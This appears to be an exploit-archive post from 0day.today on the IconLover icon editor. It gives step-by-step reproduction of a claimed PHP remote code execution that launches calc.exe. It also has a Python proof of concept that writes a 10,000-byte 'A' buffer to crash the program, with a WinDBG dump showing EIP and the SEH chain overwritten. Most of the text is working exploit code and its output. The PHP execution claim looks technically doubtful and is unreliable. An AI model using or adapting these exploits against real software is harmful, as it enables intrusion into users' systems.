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IconLover - Remote Code Execution / Stack Buffer Overflow Vulnerabilities

🗓️ 10 Oct 2015 00:00:00Reported by ZwXType 
zdt
 zdt
🔗 0day.today👁 18 Views

IconLover Remote Code Exec, Buffer Overflo

Code
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 Title Exploit : IconLover - Remote Code Execution / Stack Buffer Overflow Vulnerabilities
 Author : ZwX
 Software Vendor : http://www.aha-soft.com/
 Software Link: http://www.aha-soft.com/iconlover/index.htm
 Tested on: Windows 7 
 site : http://zwx.fr/
##################################################

##################################################
          Description Vulnerability :
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 A vulnerability in Input Address does not filter the type of PHP code that allowed me to Execute the Calculator.

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   Steps to Produce the Remote Code Execution :
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 1. Run IconLover.exe
 2. Click File -> New Icon Lybrary
 3. Click Lybrary -> Download 
 4. Paste the website address with a php file in input address 
 5. Click ok and Hide 
 6. Php code executed successfully

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             Code Exploit php :
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<?php
exec('C:\WINDOWS\system32\calc.exe');
echo '"exec" test completed';
echo 'By ZwX';
?> 

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          Steps to Produce the Crash :
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1. Copy  the AAAA...string from bof.txt to clipboard
2. Run IconLover.exe
3. Click File -> New Icon Lybrary
4. Click Lybrary -> Download 
5. Paste it the input Website Adress AAAA....string click ok and Hide 
6. Software will Crash

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        Crash Analysis using WinDBG :
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Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=76db72cd esi=00000000 edi=00000000
eip=41414141 esp=0012f048 ebp=0012f068 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???
0:000> !exchain
0012f05c: ntdll!RtlRaiseStatus+c8 (76db72cd)
0012fa88: 41414141
Invalid exception stack at 41414141
0:000> d 0012fa88
0012fa88  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fa98  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012faa8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fab8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fac8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fad8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012fae8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012faf8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

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          Proof Of Concept :
##################################################

buffer = "\x41"*10000
 
file = open("bof.txt","w")
file.write(buffer)
file.close()
 
print "File Created"
print " Contact [email protected]"

#  0day.today [2018-01-04]  #

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